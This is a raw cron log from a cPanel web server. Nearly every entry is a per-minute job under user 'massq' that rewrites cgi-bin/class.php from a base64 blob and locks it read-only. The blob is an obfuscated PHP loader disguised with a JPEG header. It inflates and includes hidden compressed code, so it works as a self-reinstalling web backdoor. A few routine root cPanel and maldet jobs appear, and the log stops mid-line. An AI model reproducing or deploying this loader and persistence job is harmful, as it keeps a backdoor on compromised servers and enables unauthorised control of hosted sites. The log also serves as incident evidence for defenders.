Nov 13 17:45:01 server CROND[14198]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:46:02 server CROND[15078]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:47:01 server CROND[15719]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:48:01 server CROND[16572]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:49:01 server CROND[17595]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:50:01 server CROND[18466]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 17:50:01 server CROND[18467]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 17:50:01 server CROND[18468]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 17:50:01 server CROND[18471]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:50:01 server CROND[18469]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 17:51:01 server CROND[19378]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:52:01 server CROND[19714]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:53:01 server CROND[20433]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:54:01 server CROND[21403]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:55:01 server CROND[22091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 17:55:01 server CROND[22093]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 17:55:01 server CROND[22094]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:56:01 server CROND[22736]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:57:01 server CROND[23631]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 17:57:01 server CROND[23630]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:58:01 server CROND[24466]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 